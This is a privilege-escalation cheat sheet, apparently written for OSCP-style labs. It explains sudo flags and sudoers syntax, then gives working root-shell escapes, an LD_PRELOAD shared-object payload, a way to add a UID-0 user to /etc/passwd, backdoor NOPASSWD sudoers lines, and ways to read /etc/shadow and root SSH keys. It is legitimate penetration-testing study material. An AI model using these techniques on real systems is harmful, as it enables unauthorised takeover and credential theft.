sudo — Command, sudoers & Privilege Escalation
Ctrl+F:
sudo -l·NOPASSWD·visudo·/etc/sudoers·ALL=(ALL)· GTFOBins
sudo lets a user run commands as another user (usually root). Misconfigs and writable sudoers files are one of the first Linux privesc checks on every box.
Full Linux privesc hub → Linux · methodology → Privilege escalation
Install / version
which sudo
sudo --version
sudo -V # verbose version (check for known CVEs)| CVE | Versions (approx) | Note |
|---|---|---|
| CVE-2019-14287 | sudo < 1.8.28 | (ALL, !root) bypass — sudo -u#-1 /bin/bash → sudo CVE-2019-14287 - User ID -1 Bypass |
| Baron Samedit CVE-2021-3156 | sudo 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1 | Heap overflow — Baron Samedit - CVE-2021-3156 (no sudoers needed) |
📌 1) sudo command — flags & examples
Syntax
sudo [options] command
sudo [options] -u user commandCommon flags
| Flag | Long | Description |
|---|---|---|
-l | --list | List allowed commands for current user (privesc gold) |
-u | --user | Run as user (e.g. -u root, -u postgres) |
-g | --group | Run with primary group set |
-s | --shell | Run shell (uses $SHELL or /bin/sh) |
-i | --login | Login shell as target user (loads env, cd ~) |
-E | --preserve-env | Keep most environment variables |
-H | --set-home | Set HOME to target user’s home |
-n | --non-interactive | Fail if password required (scripts / cron) |
-S | --stdin | Read password from stdin |
-k | --reset-timestamp | Force password prompt next time |
-K | --remove-timestamp | Remove cached timestamp entirely |
-v | --validate | Refresh / check auth timestamp |
-b | --background | Run command in background |
-p | --prompt | Custom password prompt string |
-A | --askpass | Use helper program for password |
Examples
sudo -l # WHAT CAN I RUN? — run first every box
sudo -l -U alfredo # List another user's rules (if allowed)
sudo -u root id # Run one command as root
sudo -u www-data whoami
sudo su # Root shell (needs sudo su in sudoers)
sudo -i # Root login shell
sudo -s # Root-ish shell ($SHELL)
sudo /bin/bash # If (ALL) ALL or shell allowed
sudo /bin/sh
sudo -u postgres psql # Pivot to DB user
sudo -n /usr/bin/backup.sh # Non-interactive — fails if pass needed
echo 'password' | sudo -S id # Password on stdin (scripting)
sudo -v # Extend sudo timestamp (default ~5–15 min)
sudo -k # Invalidate timestamp — ask pass againReading sudo -l output
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
(ALL) /bin/bash
(root) /bin/vi /var/log/*.txt
(postgres) PASSWD: /usr/bin/psql
Defaults env_keep += "LD_PRELOAD"| Part | Meaning |
|---|---|
(root) | May only run as root |
(ALL) | May run as any user on the system |
(postgres) | May run as user postgres only |
NOPASSWD: | No password required for listed command(s) |
| (no NOPASSWD) | Your password required (default) |
PASSWD: | Explicit — password required |
| Specific path | Only that binary/path — exploit via GTFOBins or wildcards |
ALL | Any command allowed (very dangerous) |
env_keep += LD_PRELOAD | LD_PRELOAD privesc — see below |
📌 2) sudoers file — syntax & meaning
Where rules live
| Path | Purpose |
|---|---|
/etc/sudoers | Main config — edit with visudo only |
/etc/sudoers.d/* | Drop-in snippets (e.g. 10-installer, custom rules) |
%group | Entire Unix group gets the rule |
ls -la /etc/sudoers /etc/sudoers.d/
cat /etc/sudoers 2>/dev/null # readable on some misconfigs
grep -r . /etc/sudoers.d/ 2>/dev/nullLine format
user host =(runas_user:runas_group) tag:command1, command2, ...Shorthand: user ALL=(ALL) ALL — user on all hosts, run as all users, all commands.
Field breakdown
| Field | Example | Meaning |
|---|---|---|
| User | alfredo | Who this rule applies to |
%sudo | Group (leading %) | |
%admin | Group admin on Debian/Ubuntu | |
| Host | ALL | Any hostname |
target | Only on host named target | |
| Runas | (ALL) | Run as any user |
(ALL:ALL) | Any user and any group | |
(root) | Only as root | |
(postgres) | Only as postgres | |
| Tag | NOPASSWD: | No password |
PASSWD: | Password required (default) | |
NOEXEC: | Can’t run other programs from this command | |
SETENV: | Can set env vars (check env_keep / env_reset) | |
| Commands | ALL | Any command |
/usr/bin/find | Only that binary | |
/bin/vi /var/log/*.txt | vi with args matching wildcard | |
!/usr/bin/su | Negation — everything except su |
Examples — most to least permissive
# Full root, no password — game over
alfredo ALL=(ALL) NOPASSWD: ALL
# Full root, password required each time (or within timestamp)
alfredo ALL=(ALL) ALL
# Same, modern Ubuntu group syntax
%sudo ALL=(ALL:ALL) ALL
# One binary as root, no password — GTFOBins
www-data ALL=(root) NOPASSWD: /usr/bin/find
# One binary as root, password needed
deploy ALL=(root) /usr/bin/systemctl restart apache2
# Editor with path wildcard — path traversal / wildcard tricks
user ALL=(root) /bin/vi /var/log/*.txt
# Run as postgres only
dev ALL=(postgres) NOPASSWD: /usr/bin/psql
# Allow env abuse
Defaults env_keep += "LD_PRELOAD"
www-data ALL=(root) NOPASSWD: /usr/bin/findWhat you see vs what to do
sudo -l shows | Action |
|---|---|
(ALL) NOPASSWD: ALL | sudo su or sudo /bin/bash — instant root |
(ALL) ALL + you know password | sudo -i |
(root) NOPASSWD: /usr/bin/find | sudo find / -exec /bin/sh \; -quit |
(root) NOPASSWD: /usr/bin/vi | sudo vi → :!/bin/sh |
(root) /bin/vi /var/log/*.txt | Wildcard / ../../ path tricks |
env_keep += LD_PRELOAD | Malicious .so — see §5 |
📌 3) visudo — safe editing
Never edit /etc/sudoers with a normal editor unless you must (broken syntax = locked out of sudo).
sudo visudo # Opens /etc/sudoers with syntax check
sudo visudo -f /etc/sudoers.d/alfredo # Edit drop-in file| Behavior | Detail |
|---|---|
| Syntax check | visudo validates before saving |
| Default editor | $EDITOR or nano/vi on many systems |
| Drop-ins | Prefer /etc/sudoers.d/ over editing main file |
Legitimate add (as root)
sudo visudo
# Add at bottom:
alfredo ALL=(ALL) NOPASSWD: ALLOr drop-in:
echo 'alfredo ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/alfredo
sudo chmod 440 /etc/sudoers.d/alfredo
sudo visudo -c # Validate all sudoers filesPrivesc — append without visudo (when you already have root)
Cron/tar wildcard, writable sudoers, or sudo tee:
echo "alfredo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "alfredo ALL=(ALL) NOPASSWD: ALL" | sudo tee -a /etc/sudoers
echo "alfredo ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/alfredo
chmod 440 /etc/sudoers.d/alfredoThen as alfredo:
sudo -l
sudo su
sudo -i
# No password prompt if NOPASSWDWritable sudoers (rare — check permissions)
ls -la /etc/sudoers /etc/sudoers.d/
find /etc/sudoers.d -writable 2>/dev/null
# If writable as your user — append your line directly
echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers📌 4) Privesc — abuse sudo -l (GTFOBins)
Run sudo -l first. If anything is listed, try GTFOBins for that binary.
Instant root shells
sudo su
sudo -i
sudo -s
sudo /bin/bash
sudo /bin/shEditors → shell
sudo vi
:!/bin/sh
sudo vim -c ':!/bin/bash'
sudo nano
# Ctrl+R Ctrl+X → reset; sh 1>&0 2>&0
sudo less /etc/passwd
!/bin/shCommon misconfigured binaries
# find
sudo find / -exec /bin/sh \; -quit
# awk
sudo awk 'BEGIN {system("/bin/sh")}'
# python / perl / ruby
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/sh"'
sudo ruby -e 'exec "/bin/sh"' # → [[Ruby]]
# env
sudo env /bin/bash
# cp / tee — overwrite privileged files
echo "root2:$(openssl passwd -1 pass):0:0::/root:/bin/bash" | sudo tee -a /etc/passwd
su root2
# systemctl (if allowed)
sudo systemctl start /bin/bash # some versions / misconfigs→ openssl passwd · Restricted Shell Escape
Wildcard in sudo path
If allowed: sudo /bin/vi /var/log/*.txt
sudo /bin/vi /var/log/../../etc/shadow
sudo /bin/cat /var/log/../../../etc/shadowRead sensitive files (no shell yet)
sudo cat /etc/shadow
sudo cat /root/.ssh/id_rsa
sudo ls /root📌 5) Privesc — LD_PRELOAD
When sudo -l shows env_keep += "LD_PRELOAD" (or SETENV on allowed command):
cat > /tmp/evil.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find # use YOUR allowed binary📌 6) Privesc — add user / group to sudo
Append NOPASSWD line (root context)
echo "alfredo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoersAdd user to sudo group (needs root)
usermod -aG sudo alfredo
usermod -aG wheel alfredo # RHEL/CentOS
# User must re-login; then password for sudo unless NOPASSWDWritable /etc/group
# If you can write /etc/group — add yourself to sudo line:
# sudo:x:27:alfredo
grep sudo /etc/groupTar cron wildcard → sudoers
Root cron runs tar ... * in your writable dir → shell.sh appends sudoers line:
echo "alfredo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers→ Linux > Wildcard injection in cron (tar *)
Writable /etc/passwd (different path — not sudoers)
Add user with UID 0 or blank password — see openssl passwd and Linux > Writable /etc/passwd.
📌 7) sudo timestamp & groups
# Default: after auth, sudo won't ask again for ~5–15 min
sudo -v # refresh
sudo -k # kill timestamp
# Who is in sudo group?
grep -E '^sudo|^wheel' /etc/group
id
groups| Distro | Admin group |
|---|---|
| Debian/Ubuntu | sudo |
| RHEL/CentOS/Fedora | wheel |
📌 Quick OSCP cheat sheet
# Enum
sudo -l
sudo -V
ls -la /etc/sudoers /etc/sudoers.d/
cat /etc/sudoers 2>/dev/null
# Easy wins
sudo su
sudo /bin/bash
sudo find / -exec /bin/sh \; -quit
sudo vi → :!/bin/sh
# Grant yourself NOPASSWD (as root)
echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo visudo -c
# After NOPASSWD
sudo -i